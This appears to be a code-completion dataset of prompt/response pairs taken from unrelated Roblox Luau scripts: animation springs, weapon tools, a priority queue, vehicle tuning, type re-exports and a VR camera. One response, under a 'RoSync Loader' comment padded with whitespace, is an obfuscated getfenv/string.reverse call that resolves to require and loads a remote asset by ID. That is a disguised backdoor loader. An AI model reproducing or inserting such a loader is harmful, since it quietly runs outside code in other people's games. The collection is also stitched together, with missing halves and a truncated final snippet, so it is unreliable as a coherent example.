-- Custom enum implementation that provides an effective way to compare, send
-- and store values. Instead of returning a userdata value, enum items return
-- their corresponding itemValue (an integer) when indexed. Enum items can
-- also associate a 'property', specified as the third element, which can be
-- retrieved by doing ``enum.getProperty(ITEM_NAME_OR_VALUE)``
-- This ultimately means groups of data can be easily categorised, efficiently
-- transmitted over networks and saved without throwing errors.
-- Ben Horton (ForeverHD)


Prompt: --local TwoHandAnim = hammer:WaitForChild("TwoHandAnim")

Response:
hammer.Equipped:Connect(function()
	local character = hammer.Parent
	if Players:GetPlayerFromCharacter(character) and character:FindFirstChild("Humanoid") then
		--character.Humanoid.Animator:LoadAnimation(TwoHandAnim):Play()
		end
end)

hammer.Activated:Connect(function()
	local character = hammer.Parent
	if db == false and Players:GetPlayerFromCharacter(character) and character:FindFirstChild("Humanoid") then

		--character.Humanoid.Animator:LoadAnimation(Slash):Play() -- Plays the animation

		local touchFunction
		touchFunction = hammer.Handle.Touched:Connect(function(hit) -- Fires when the hammer is touched
			local hitCharacter = hit:FindFirstAncestorOfClass("Model") -- The character we hit
			local hitPlayer = Players:GetPlayerFromCharacter(hitCharacter) -- Player we it
			local banSound = script.Parent.Handle.ban
			if hit and hitCharacter and hitPlayer then -- if we hit a player
				--banSave:SetAsync(hitPlayer.UserId,true) -- Saves the ban (Don't do this if you only want to kick them)
				hitPlayer:Kick("Congratulations! You just got kicked by the ban hammer! Be lucky you didn't banned instead!") -- Kicks with the provided message
				banSound:Play()
				touchFunction:Disconnect() -- Ends the function
			end
		end)

		db = true -- Enables cooldown
		task.wait(1) -- You might need to adjust this
		touchFunction:Disconnect()
		task.wait(1-0.3) -- The cooldown
		db = false -- Disables cooldown

	end
end)


Prompt:
--[=[
	@type ExtensionFn (component) -> ()
	@within Component
]=]

Response: type ExtensionFn = (any) -> ()


Prompt:
--[[
	Called when the goal state changes value.

	If the new goal can be animated to, the equilibrium point of the internal
	springs will be moved, but the springs themselves stay in place.
	Returns false, as this has no immediate impact on the current value of the
	Spring object.

	If the new goal can't be animated to (different types/non-animatable type),
	then the springs will be instantly moved to the goal value. Returns true, as
	the current value of the Spring object will jump directly to the goal.
]]

Response:
function class:update()
	local goalValue = self._goalState:get(false)

	local oldType = self._currentType
	local newType = typeof(goalValue)

	self._goalValue = goalValue
	self._currentType = newType

	local springGoals = unpackType(goalValue, newType)
	local numSprings = #springGoals

	self._springGoals = springGoals

	if newType ~= oldType then
		-- if the type changed, we need to set the position and velocity
		local springPositions = table.create(numSprings, 0)
		local springVelocities = table.create(numSprings, 0)

		for index, springGoal in ipairs(springGoals) do
			springPositions[index] = springGoal
		end

		self._springPositions = springPositions
		self._springVelocities = springVelocities
		self._currentValue = self._goalValue

		SpringScheduler.remove(self)
		return true

	elseif numSprings == 0 then
		-- if the type hasn't changed, but isn't animatable, just change the
		-- current value
		self._currentValue = self._goalValue

		SpringScheduler.remove(self)
		return true
	end

	SpringScheduler.add(self)
	return false
end

if ENABLE_PARAM_SETTERS then

	--[[
		Changes the damping ratio of this Spring.
	]]
	function class:setDamping(damping: number)
		if damping < 0 then
			logError("invalidSpringDamping", nil, damping)
		end

		SpringScheduler.remove(self)
		self._damping = damping
		SpringScheduler.add(self)
	end

	--[[
		Changes the angular frequency of this Spring.
	]]
	function class:setSpeed(speed: number)
		if speed < 0 then
			logError("invalidSpringSpeed", nil, speed)
		end

		SpringScheduler.remove(self)
		self._speed = speed
		SpringScheduler.add(self)
	end

	--[[
		Sets the position of the internal springs, meaning the value of this
		Spring will jump to the given value. This doesn't affect velocity.

		If the type doesn't match the current type of the spring, an error will be
		thrown.
	]]
	function class:setPosition(newValue: Types.Animatable)
		local newType = typeof(newValue)
		if newType ~= self._currentType then
			logError("springTypeMismatch", nil, newType, self._currentType)
		end

		self._springPositions = unpackType(newValue, newType)
		self._currentValue = newValue

		updateAll(self)

		SpringScheduler.add(self)
	end

	--[[
		Sets the velocity of the internal springs, overwriting the existing velocity
		of this Spring. This doesn't affect position.

		If the type doesn't match the current type of the spring, an error will be
		thrown.
	]]
	function class:setVelocity(newValue: Types.Animatable)
		local newType = typeof(newValue)
		if newType ~= self._currentType then
			logError("springTypeMismatch", nil, newType, self._currentType)
		end

		self._springVelocities = unpackType(newValue, newType)
		SpringScheduler.add(self)
	end

	--[[
		Adds to the velocity of the internal springs, on top of the existing
		velocity of this Spring. This doesn't affect position.

		If the type doesn't match the current type of the spring, an error will be
		thrown.
	]]
	function class:addVelocity(deltaValue: Types.Animatable)
		local deltaType = typeof(deltaValue)
		if deltaType ~= self._currentType then
			logError("springTypeMismatch", nil, deltaType, self._currentType)
		end

		local springDeltas = unpackType(deltaValue, deltaType)
		for index, delta in ipairs(springDeltas) do
			self._springVelocities[index] += delta
		end

		SpringScheduler.add(self)
	end

end

local function Spring(goalState: Types.State<Types.Animatable>, speed: number?, damping: number?)
	-- check and apply defaults for speed and damping
	if speed == nil then
		speed = 10
	elseif speed < 0 then
		logError("invalidSpringSpeed", nil, speed)
	end

	if damping == nil then
		damping = 1
	elseif damping < 0 then
		logError("invalidSpringDamping", nil, damping)
	end

	local self = setmetatable({
		type = "State",
		kind = "Spring",
		dependencySet = {[goalState] = true},
		-- if we held strong references to the dependents, then they wouldn't be
		-- able to get garbage collected when they fall out of scope
		dependentSet = setmetatable({}, WEAK_KEYS_METATABLE),
		_speed = speed,
		_damping = damping,

		_goalState = goalState,
		_goalValue = nil,

		_currentType = nil,
		_currentValue = nil,

		_springPositions = nil,
		_springGoals = nil,
		_springVelocities = nil
	}, CLASS_METATABLE)

	initDependency(self)
	-- add this object to the goal state's dependent set
	goalState.dependentSet[self] = true
	self:update()

	return self
end

return Spring


Prompt: -------- OMG HAX

Response:
r = game:service("RunService")

local damage = 10

local slash_damage = 18
local lunge_damage = 36

sword = script.Parent.Handle
Tool = script.Parent

local SlashSound = Instance.new("Sound")
SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
SlashSound.Parent = sword
SlashSound.Volume = .7

local LungeSound = Instance.new("Sound")
LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav"
LungeSound.Parent = sword
LungeSound.Volume = .6

local UnsheathSound = Instance.new("Sound")
UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav"
UnsheathSound.Parent = sword
UnsheathSound.Volume = 1

function windforce(dir, victimTorso)
	if (victimTorso.Parent:FindFirstChild("ForceField") ~= nil) then return end
	if victimTorso:FindFirstChild("WindEffect") == nil then
		local force = Instance.new("BodyVelocity")
		force.Name = "WindEffect"
		force.maxForce = Vector3.new(1e7, 1e7, 1e7)
		force.P = 125
		force.velocity =  (dir * 150) + Vector3.new(0, 30,0)
		force.Parent = victimTorso

		game.Debris:AddItem(force, .25)

	end
end

function blow(hit)
	local humanoid = hit.Parent:findFirstChild("Humanoid")
	local vCharacter = Tool.Parent
	local vPlayer = game.Players:playerFromCharacter(vCharacter)
	local hum = vCharacter:findFirstChild("Humanoid") -- non-nil if tool held by a character
	if humanoid~=nil and humanoid ~= hum and hum ~= nil then
		-- final check, make sure sword is in-hand

		local right_arm = vCharacter:FindFirstChild("Right Arm")
		if (right_arm ~= nil) then
			local joint = right_arm:FindFirstChild("RightGrip")
			if (joint ~= nil and (joint.Part0 == sword or joint.Part1 == sword)) then
				tagHumanoid(humanoid, vPlayer)
				humanoid:TakeDamage(damage)
				local d = vCharacter.Torso.CFrame.lookVector
				windforce(Vector3.new(d.x, d.y, d.z), hit.Parent.Torso)
			end
		end

	end
end

function tagHumanoid(humanoid, player)
	local creator_tag = Instance.new("ObjectValue")
	creator_tag.Value = player
	creator_tag.Name = "creator"
	creator_tag.Parent = humanoid
	game.Debris:AddItem(creator_tag, 1)
end

function untagHumanoid(humanoid)
	if humanoid ~= nil then
		local tag = humanoid:findFirstChild("creator")
		if tag ~= nil then
			tag.Parent = nil
		end
	end
end

function attack()
	damage = slash_damage
	SlashSound:play()
	local anim = Instance.new("StringValue")
	anim.Name = "toolanim"
	anim.Value = "Slash"
	anim.Parent = Tool
end

function lunge()
	damage = lunge_damage

	LungeSound:play()

	local anim = Instance.new("StringValue")
	anim.Name = "toolanim"
	anim.Value = "Lunge"
	anim.Parent = Tool

	force = Instance.new("BodyVelocity")
force.velocity = Vector3.new(0,10,0)
force.maxForce = Vector3.new(0,4000,0)
force.Parent = Tool.Parent.Torso
	wait(.25)
	swordOut()
	wait(.25)
	force.Parent = nil
	wait(.5)
	swordUp()

	damage = slash_damage
end

function swordUp()
	Tool.GripForward = Vector3.new(-1,0,0)
	Tool.GripRight = Vector3.new(0,1,0)
	Tool.GripUp = Vector3.new(0,0,1)
end

function swordOut()
	Tool.GripForward = Vector3.new(0,0,1)
	Tool.GripRight = Vector3.new(0,-1,0)
	Tool.GripUp = Vector3.new(-1,0,0)
end

function swordAcross()
	-- parry
end

Tool.Enabled = true
local last_attack = 0
function onActivated()

	if not Tool.Enabled then
		return
	end

	Tool.Enabled = false

	local character = Tool.Parent;
	local humanoid = character.Humanoid
	if humanoid == nil then
		print("Humanoid not found")
		return
	end

	t = r.Stepped:wait()

	if (t - last_attack < .2) then
		lunge()
	else
		attack()
	end

	last_attack = t

	--wait(.5)

	Tool.Enabled = true
end

function onEquipped()
	UnsheathSound:play()
end

script.Parent.Activated:connect(onActivated)
script.Parent.Equipped:connect(onEquipped)

connection = sword.Touched:connect(blow)


Prompt: -- Create debris for specified part (being destroyed)

Response:
local function createDebris(targetPart)
	local pos = Vector3.new(0, 0, 0)
	local scale = 1

	if targetPart:IsA("Model") then
		local plate = targetPart:FindFirstChild("Plate", true)
		pos = plate.Position
		scale = plate.Size.X/8
	else
		pos = targetPart.Position
		scale = targetPart.Size.X/8
	end

	local debris = debrisParts[math.random(1, #debrisParts)]:Clone()
	--local pos2 = getPositionRelativetoBase(debris.PrimaryPart, pos)
	local pos2 = pos
	debris:SetPrimaryPartCFrame(CFrame.new(pos2))
	scaleModel(debris, scale)
	debris.Parent = mapManager.getMap()

	targetPart:Destroy()

	return debris.PrimaryPart
end


Prompt: --local RecipesFrame = InventoryFrame.Recipes;

Response:
local Sizes = {

	[ItemsFrame] = {
		[EquipButton] = {
			Size = ItemsFrame.Size;
			Position = ItemsFrame.Position;
		};
		[CraftButton] = {
			Size = UDim2.new(0,-427,1,-155);
			Position = ItemsFrame.Position;
		};
		[RecycleButton] = {
			Size = UDim2.new(0,-427,1,-200);
			Position = ItemsFrame.Position;
		};
	};

	[ActionsFrame] = {
		[EquipButton] = {
			Size = ActionsFrame.Size;
			Position = ActionsFrame.Position;
		};
		[CraftButton] = {
			Size = UDim2.new(1,0,0,160);
			Position = UDim2.new(0,0,1,-160);
		};
		[RecycleButton] = {
			Size = UDim2.new(1,0,0,205);
			Position = UDim2.new(0,0,1,-205);
		};
	};

	[EquippedFrame] = {
		[EquipButton] = {
			Size = EquippedFrame.Size;
			Position = EquippedFrame.Position;
		};
		[CraftButton] = {
			Size = UDim2.new(0,130,1,-155);
			Position = UDim2.new(1,0,0,0);
		};
		[RecycleButton] = {
			Size = UDim2.new(0,130,1,-200);
			Position = EquippedFrame.Position;
		};
	};

	--[[[RecipesFrame] = {
		[EquipButton] = {
			Size = RecipesFrame.Size;
			Position = RecipesFrame.Position;
		};
		[CraftButton] = {
			Size = UDim2.new(0,292,1,-155);
			Position = RecipesFrame.Position; --EquippedFrame.Position;
		};
		[RecycleButton] = {
			Size = UDim2.new(0,0,1,-200);
			Position = ItemsFrame.Position;
		};
	};]]

};


Prompt: -- math, thx roblox wiki

Response:
function lerp(a, b, t)
	return a * (1-t) + (b*t)
end


Prompt:
--[[UIS.InputBegan:Connect(function(key, gameprocessed)
	if key.KeyCode == Enum.KeyCode.E and debounce and player.Character then
		player.Character.HumanoidRootPart.Anchored = true

		local goal = {}

		goal.CFrame = player.Character.HumanoidRootPart.CFrame * CFrame.new(0, 5, 0)

		local tweenInfo = TweenInfo.new(1, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut)

		local tween = tweenService:Create(player.Character.HumanoidRootPart, tweenInfo, goal)

		tween:Play()

		local clone = game.ReplicatedStorage.Show:Clone()

		clone.Parent = workspace.Beams

		clone.Position = player.Character.HumanoidRootPart.Position

		local weld = Instance.new("WeldConstraint", clone)

		clone.CanCollide = false

		weld.Part0 = clone

		weld.Part1 = player.Character.HumanoidRootPart

		local goal3 = {}

		goal3.Transparency = 0

		local tweenInfo3 = TweenInfo.new(1, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut)

		local tween3 = tweenService:Create(clone, tweenInfo3, goal3)

		tween3:Play()

		wait(1.1)

		local mag = (player.Character.HumanoidRootPart.Position - mouse.Hit.Position).Magnitude

		goal3 = {}

		goal3.Transparency = 1

		tweenInfo3 = TweenInfo.new(0.3, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut)

		tween3 = tweenService:Create(clone, tweenInfo3, goal3)

		spawn(function()
			wait(1.5)

			tween3:Play()

			repeat wait() until clone.Transparency == 1

			clone:Destroy()
		end)

		if mag <= 200 then
			local beam = Instance.new("Part")

			beam.Shape = Enum.PartType.Cylinder

			mouse.TargetFilter = workspace.Beams

			local ball = Instance.new("Part", workspace.Beams)

			ball.Shape = Enum.PartType.Ball

			ball.Color = Color3.new(176, 176, 56)

			ball.Size = Vector3.new(0.2, 0.2, 0.2)

			ball.Position = player.Character.RightHand.Position

			ball.Anchored = true

			ball.Material = Enum.Material.Neon

			local goal2 = {}

			goal2.Size = Vector3.new(1, 1, 1)

			local tweenInfo2 = TweenInfo.new(0.5, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut)

			local tween2 = tweenService:Create(ball, tweenInfo2, goal2)

			tween2:Play()

			wait(1.5)

			goal2.Size = Vector3.new(10, 10, 10)

			tweenInfo2 = TweenInfo.new(0.5, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut)

			tween2 = tweenService:Create(ball, tweenInfo2, goal2)

			tween2:Play()

			goal2.Transparency = 1

			tweenInfo2 = TweenInfo.new(0.5, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut)

			tween2 = tweenService:Create(ball, tweenInfo2, goal2)

			tween2:Play()

			local event

			beam.CFrame = (CFrame.new(player.Character.RightHand.Position, mouse.Hit.Position) * CFrame.new(0, 0, mag / 2):Inverse()) * CFrame.Angles(0, math.rad(90), 0)

			event = runService.Stepped:Connect(function(plays)
				mag = (player.Character.HumanoidRootPart.Position - mouse.Hit.Position).Magnitude

				--print(mag)

				local lastPos = beam.Position

				beam.CFrame = (CFrame.new(player.Character.RightHand.Position, mouse.Hit.Position) * CFrame.new(0, 0, mag / 2):Inverse()) * CFrame.Angles(0, math.rad(90), 0)

				beam.Material = Enum.Material.Neon

				beam.Color = Color3.new(176, 176, 56)

				beam.Size = Vector3.new(mag, 1, 1)
			end)

			beam.Anchored = true

			beam.Parent = workspace.Beams

			repeat wait() until ball.Transparency == 1 and ball.Size == Vector3.new(10, 10, 10)

			ball:Destroy()

			ball = nil
		end
	end
end)]]


Prompt:
--[[setmetatable(
    PriorityQueue,
    {
        __call = function (self)
            setmetatable({}, self)
            self:initialize()
            return self
        end
    }
)]]

Response:
function PriorityQueue.new()
	local queueData = {}
	setmetatable(queueData,PriorityQueue)

	 queueData:initialize()

	return queueData
end

function PriorityQueue:initialize()
    --[[  Initialization.
    Example:
        PriorityQueue = require("priority_queue")
        pq = PriorityQueue()
    ]]--
    self.heap = {}
    self.current_size = 0
end

function PriorityQueue:empty()
    return self.current_size == 0
end

function PriorityQueue:size()
    return self.current_size
end

function PriorityQueue:swim()
    -- Swim up on the tree and fix the order heap property.
    local heap = self.heap
    local floor = floor
    local i = self.current_size

    while floor(i / 2) > 0 do
        local half = floor(i / 2)
        if heap[i][2] < heap[half][2] then
            heap[i], heap[half] = heap[half], heap[i]
        end
        i = half
    end
end

function PriorityQueue:push(v, p)
    --[[ Put an item on the queue.
    Args:
        v: the item to be stored
        p(number): the priority of the item
    ]]--
    --

    self.heap[self.current_size + 1] = {v, p}
    self.current_size = self.current_size + 1
    self:swim()
end

function PriorityQueue:sink()
    -- Sink down on the tree and fix the order heap property.
    local size = self.current_size
    local heap = self.heap
    local i = 1

    while (i * 2) <= size do
        local mc = self:min_child(i)
        if heap[i][2] > heap[mc][2] then
            heap[i], heap[mc] = heap[mc], heap[i]
        end
        i = mc
    end
end

function PriorityQueue:min_child(i)
    if (i * 2) + 1 > self.current_size then
        return i * 2
    else
        if self.heap[i * 2][2] < self.heap[i * 2 + 1][2] then
            return i * 2
        else
            return i * 2 + 1
        end
    end
end

function PriorityQueue:pop()
    -- Remove and return the top priority item
    local heap = self.heap
    local retval = heap[1][1]
    heap[1] = heap[self.current_size]
    heap[self.current_size] = nil
    self.current_size = self.current_size - 1
    self:sink()
    return retval
end

return PriorityQueue


Prompt:
--[[
	@class stringTween
	contains library of functions that add/remove text from a string.

	.backward:
		@params: string, function, string?, config?
     	@info: clears text or until hit `StopAt`

	.forward:
		@params: string, string, function, config?
		@info: adds `newText` to the given string

	```lua
		local stringTween = require(container.stringTween)

		local startText = 'person'
		local newText = 'son'
		local stopAt = 'per'

		local predicate = function(text)
			startText = text
		end

		stringTween.backward(startText, predicate, stopAt) > returns per
		stringTween.forward(startText, newText, predicate) > returns person
	```
]]

Response:
local stringTween = {}

function stringTween.forward(
	s: string,
	apply: string,
	predicate: (string) -> (),
	config: config?
)
	if config then
		config.delay = config.delay or defaultconfig.delay
		config.movement = config.movement or defaultconfig.movement
	end

	local config = config or defaultconfig
	local result

	for i = 0, #apply, 1 do
		result = `{s}{string.sub(apply, 1, i)}{config.movement}`

		predicate(result)

		task.wait(config.delay)
	end

	result = result:sub(1, #result - #config.movement)
	predicate(result)

	return result
end

function stringTween.backward(
	s: string,
	predicate: (string) -> (),
	breakat: string?,
	config: config?
)
	if config then
		config.delay = config.delay or defaultconfig.delay
		config.movement = config.movement or defaultconfig.movement
	end

	local config = config or defaultconfig
	local result

	for i = #s, 0, -1 do
		result = `{string.sub(s, 1, i)}{config.movement}`
		predicate(result)

		if breakat and string.sub(result, 1, -1) == `{breakat}{config.movement}` then
			break
		end
		task.wait(config.delay)
	end

	result = string.sub(result, 1, #result - #config.movement)
	predicate(result)

	return result
end

return stringTween


Prompt: --[[Weight and CG]]

Response:
	Tune.Weight			= 3590		-- Total weight (in pounds)
	Tune.WeightBSize	= {			-- Size of weight brick (dimmensions in studs ; larger = more stable)
	 --[[Width]]		6		,
	 --[[Height]]		3.5		,
	 --[[Length]]		14		}
	Tune.WeightDist		= 50		-- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100)
	Tune.CGHeight		= .8		-- Center of gravity height (studs relative to median of all wheels)
	Tune.WBVisible		= false		-- Makes the weight brick visible

	--Unsprung Weight
	Tune.FWheelDensity	= .1		-- Front Wheel Density
	Tune.RWheelDensity	= .1		-- Rear Wheel Density
	Tune.FWLgcyDensity	= 1			-- Front Wheel Density [PGS OFF]
	Tune.RWLgcyDensity	= 1			-- Rear Wheel Density [PGS OFF]

	Tune.AxleSize		= 2			-- Size of structural members (larger = more stable/carry more weight)
	Tune.AxleDensity	= .1		-- Density of structural members


Prompt:
-- ^ preserved archeology - 7chon
-- origin: 00scorpion00


Prompt: -- initialize local variables

Response:
local camera = workspace.CurrentCamera
local player = game.Players.LocalPlayer
local character = player.Character
local humanoid = character.Humanoid


Prompt: --[[ Last synced 3/7/2021 11:03                                                                                RoSync Loader ]]

Response: getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[                                                                                ]]--


Prompt:
-----------------
--| Variables |--
-----------------

Response:
local DebrisService = Game:GetService('Debris')
local PlayersService = Game:GetService('Players')

local Tool = script.Parent
local ToolHandle = Tool.Handle

local RocketScript = WaitForChild(script, 'Rocket')

local SwooshSound = WaitForChild(script, 'Swoosh')
local BoomSound = WaitForChild(script, 'Boom')
local ReloadSound = WaitForChild(ToolHandle, 'ReloadSound')
local FireSound = WaitForChild(ToolHandle, 'FireSound')

local MyModel = nil
local MyPlayer = nil

local BaseRocket = nil
local RocketClone = nil


Response:
LeftShoulderClone = LeftShoulder:Clone()
LeftShoulderClone.Name = "LeftShoulderClone"
LeftShoulderClone.Parent = Torso
LeftShoulderClone.Part0 = Torso


Prompt:
--[[
	Package link auto-generated by Rotriever
]]

Response:
local PackageIndex = script.Parent.Parent.Parent._Index

local Package = require(PackageIndex["JestTypes"]["JestTypes"])

export type Circus_DoneFn = Package.Circus_DoneFn
export type Circus_BlockFn = Package.Circus_BlockFn
export type Circus_BlockName = Package.Circus_BlockName
export type Circus_BlockMode = Package.Circus_BlockMode
export type Circus_TestMode = Package.Circus_TestMode
export type Circus_TestName = Package.Circus_TestName
export type Circus_TestFn = Package.Circus_TestFn
export type Circus_HookFn = Package.Circus_HookFn
export type Circus_AsyncFn = Package.Circus_AsyncFn
export type Circus_SharedHookType = Package.Circus_SharedHookType
export type Circus_HookType = Package.Circus_HookType
export type Circus_TestContext = Package.Circus_TestContext
export type Circus_Exception = Package.Circus_Exception
export type Circus_FormattedError = Package.Circus_FormattedError
export type Circus_Hook = Package.Circus_Hook
export type Circus_EventHandler = Package.Circus_EventHandler
export type Circus_Event = Package.Circus_Event
export type Circus_SyncEvent = Package.Circus_SyncEvent
export type Circus_AsyncEvent = Package.Circus_AsyncEvent
export type Circus_MatcherResults = Package.Circus_MatcherResults
export type Circus_TestStatus = Package.Circus_TestStatus
export type Circus_TestResult = Package.Circus_TestResult
export type Circus_RunResult = Package.Circus_RunResult
export type Circus_TestResults = Package.Circus_TestResults
export type Circus_GlobalErrorHandlers = Package.Circus_GlobalErrorHandlers
export type Circus_State = Package.Circus_State
export type Circus_DescribeBlock = Package.Circus_DescribeBlock
export type Circus_TestError = Package.Circus_TestError
export type Circus_TestEntry = Package.Circus_TestEntry
export type Config_Path = Package.Config_Path
export type Config_Glob = Package.Config_Glob
export type Config_HasteConfig = Package.Config_HasteConfig
export type Config_CoverageReporterName = Package.Config_CoverageReporterName
export type Config_CoverageReporterWithOptions<K> = Package.Config_CoverageReporterWithOptions<K>
export type Config_CoverageReporters = Package.Config_CoverageReporters
export type Config_ReporterConfig = Package.Config_ReporterConfig
export type Config_TransformerConfig = Package.Config_TransformerConfig
export type Config_ConfigGlobals = Package.Config_ConfigGlobals
export type Config_PrettyFormatOptions = Package.Config_PrettyFormatOptions
export type Config_DefaultOptions = Package.Config_DefaultOptions
export type Config_DisplayName = Package.Config_DisplayName
export type Config_InitialOptionsWithRootDir = Package.Config_InitialOptionsWithRootDir
export type Config_InitialProjectOptions = Package.Config_InitialProjectOptions
export type Config_InitialOptions = Package.Config_InitialOptions
export type Config_SnapshotUpdateState = Package.Config_SnapshotUpdateState
export type Config_CoverageThresholdValue = Package.Config_CoverageThresholdValue
export type Config_GlobalConfig = Package.Config_GlobalConfig
export type Config_ProjectConfig = Package.Config_ProjectConfig
export type Config_Argv = Package.Config_Argv
export type Global_ValidTestReturnValues = Package.Global_ValidTestReturnValues
export type Global_TestReturnValue = Package.Global_TestReturnValue
export type Global_TestContext = Package.Global_TestContext
export type Global_DoneFn = Package.Global_DoneFn
export type Global_DoneTakingTestFn = Package.Global_DoneTakingTestFn
export type Global_PromiseReturningTestFn = Package.Global_PromiseReturningTestFn
export type Global_GeneratorReturningTestFn = Package.Global_GeneratorReturningTestFn
export type Global_TestName = Package.Global_TestName
export type Global_TestFn = Package.Global_TestFn
export type Global_ConcurrentTestFn = Package.Global_ConcurrentTestFn
export type Global_BlockFn = Package.Global_BlockFn
export type Global_BlockName = Package.Global_BlockName
export type Global_HookFn = Package.Global_HookFn
export type Global_Col = Package.Global_Col
export type Global_Row = Package.Global_Row
export type Global_Table = Package.Global_Table
export type Global_ArrayTable = Package.Global_ArrayTable
export type Global_TemplateTable = Package.Global_TemplateTable
export type Global_TemplateData = Package.Global_TemplateData
export type Global_EachTable = Package.Global_EachTable
export type Global_TestCallback = Package.Global_TestCallback
export type Global_EachTestFn<EachCallback> = Package.Global_EachTestFn<EachCallback>
export type Global_HookBase = Package.Global_HookBase
export type Global_ItBase = Package.Global_ItBase
export type Global_It = Package.Global_It
export type Global_ItConcurrentBase = Package.Global_ItConcurrentBase
export type Global_ItConcurrentExtended = Package.Global_ItConcurrentExtended
export type Global_ItConcurrent = Package.Global_ItConcurrent
export type Global_DescribeBase = Package.Global_DescribeBase
export type Global_Describe = Package.Global_Describe
export type Global_TestFrameworkGlobals = Package.Global_TestFrameworkGlobals
export type Global_GlobalAdditions = Package.Global_GlobalAdditions
export type Global_Global = Package.Global_Global
export type TestResult_Milliseconds = Package.TestResult_Milliseconds
export type TestResult_AssertionResult = Package.TestResult_AssertionResult
export type TestResult_SerializableError = Package.TestResult_SerializableError
export type TestResult_Callsite = Package.TestResult_Callsite
export type TestResult_Status = Package.TestResult_Status
export type TransformTypes_TransformResult = Package.TransformTypes_TransformResult

return Package


Prompt:
--[=[
	@within Signal
	@type ConnectionFn (...any) -> ()

	A function connected to a signal.
]=]


Prompt: --[[Engine]]

Response:
	--Torque Curve
	Tune.Horsepower		= 600		--	[TORQUE CURVE VISUAL]
	Tune.IdleRPM		= 700		--		https://www.desmos.com/calculator/2uo3hqwdhf
	Tune.PeakRPM		= 6000		--		Use sliders to manipulate values
	Tune.Redline		= 6700		--		Copy and paste slider values into the respective tune values
	Tune.EqPoint		= 5500
	Tune.PeakSharpness	= 7.5
	Tune.CurveMult		= 0.16

	--Incline Compensation
	Tune.InclineComp	= 4.7			-- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)

	--Misc
	Tune.RevAccel		= 150		-- RPM acceleration when clutch is off
	Tune.RevDecay		= 75		-- RPM decay when clutch is off
	Tune.RevBounce		= 500		-- RPM kickback from redline
	Tune.IdleThrottle	= 3			-- Percent throttle at idle
	Tune.ClutchTol		= 500		-- Clutch engagement threshold (higher = faster response)


Prompt: -- yaw-axis rotational velocity of a part with a given CFrame and total RotVelocity

Response:
local function yawVelocity(rotVel, cf)
	return math.abs(cf.YVector:Dot(rotVel))
end

local worldDt = 1/60
local VRVehicleCamera = setmetatable({}, VRBaseCamera)
VRVehicleCamera.__index = VRVehicleCamera

function VRVehicleCamera.new()
	local self = setmetatable(VRBaseCamera.new(), VRVehicleCamera)
	self:Reset()

	-- track physics solver time delta separately from the render loop to correctly synchronize time delta
	RunService.Stepped:Connect(function(_, _worldDt)
		worldDt = _worldDt
	end)

	return self
end

function VRVehicleCamera:Reset()
	self.vehicleCameraCore = VehicleCameraCore.new(self:GetSubjectCFrame())
	self.pitchSpring = Spring.new(0, -math.rad(VehicleCameraConfig.pitchBaseAngle))
	self.yawSpring = Spring.new(0, YAW_DEFAULT)

	local camera = workspace.CurrentCamera
	local cameraSubject = camera and camera.CameraSubject

	assert(camera, "VRVehicleCamera initialization error")
	assert(cameraSubject)
	assert(cameraSubject:IsA("VehicleSeat"))

	local assemblyParts = cameraSubject:GetConnectedParts(true) -- passing true to recursively get all assembly parts
	local assemblyPosition, assemblyRadius = CameraUtils.getLooseBoundingSphere(assemblyParts)

	assemblyRadius = math.max(assemblyRadius, EPSILON)

	self.assemblyRadius = assemblyRadius
	self.assemblyOffset = cameraSubject.CFrame:Inverse()*assemblyPosition -- seat-space offset of the assembly bounding sphere center

	self.lastCameraFocus = nil

	self:_StepInitialZoom()
end

function VRVehicleCamera:_StepInitialZoom()
	self:SetCameraToSubjectDistance(math.max(
		ZoomController.GetZoomRadius(),
		self.assemblyRadius*VehicleCameraConfig.initialZoomRadiusMul
	))
end

function VRVehicleCamera:_GetThirdPersonLocalOffset()
	return self.assemblyOffset + Vector3.new(0, self.assemblyRadius*VehicleCameraConfig.verticalCenterOffset, 0)
end

function VRVehicleCamera:_GetFirstPersonLocalOffset(subjectCFrame: CFrame)
	local character = localPlayer.Character

	if character and character.Parent then
		local head = character:FindFirstChild("Head")

		if head and head:IsA("BasePart") then
			return subjectCFrame:Inverse() * head.Position
		end
	end

	return self:_GetThirdPersonLocalOffset()
end

function VRVehicleCamera:Update()
	local camera = workspace.CurrentCamera
	local cameraSubject = camera and camera.CameraSubject
	local vehicleCameraCore = self.vehicleCameraCore

	assert(camera)
	assert(cameraSubject)
	assert(cameraSubject:IsA("VehicleSeat"))

	-- consume the physics solver time delta to account for mismatched physics/render cycles
	local dt = worldDt
	worldDt = 0

	-- get subject info
	local subjectCFrame: CFrame = self:GetSubjectCFrame()
	local subjectVel: Vector3 = self:GetSubjectVelocity()
	local subjectRotVel = self:GetSubjectRotVelocity()

	-- measure the local-to-world-space forward velocity of the vehicle
	local vDotZ = math.abs(subjectVel:Dot(subjectCFrame.ZVector))
	local yawVel = yawVelocity(subjectRotVel, subjectCFrame)
	local pitchVel = pitchVelocity(subjectRotVel, subjectCFrame)

	-- step camera components forward
	local zoom = self:StepZoom()

	-- mix third and first person offsets in local space
	local firstPerson = mapClamp(zoom, ZOOM_MINIMUM, self.assemblyRadius, 1, 0)

	local tpOffset = self:_GetThirdPersonLocalOffset()
	local fpOffset = self:_GetFirstPersonLocalOffset(subjectCFrame)
	local localOffset = tpOffset:Lerp(fpOffset, firstPerson)

	-- step core forward
	vehicleCameraCore:setTransform(subjectCFrame)
	local processedRotation = vehicleCameraCore:step(dt, pitchVel, yawVel, firstPerson)

	-- end product of this function
	local focus = nil
	local cf = nil

	-- update fade from black
	self:UpdateFadeFromBlack(dt)

	if not self:IsInFirstPerson() then
		-- third person comfort camera
		focus =  CFrame.new(subjectCFrame*localOffset)*processedRotation
		cf = focus*CFrame.new(0, 0, zoom)

		if not self.lastCameraFocus then
			self.lastCameraFocus = focus
			self.needsReset = true
		end

		local curCameraDir = focus.Position - camera.CFrame.Position
		local curCameraDist = curCameraDir.magnitude
		curCameraDir = curCameraDir.Unit
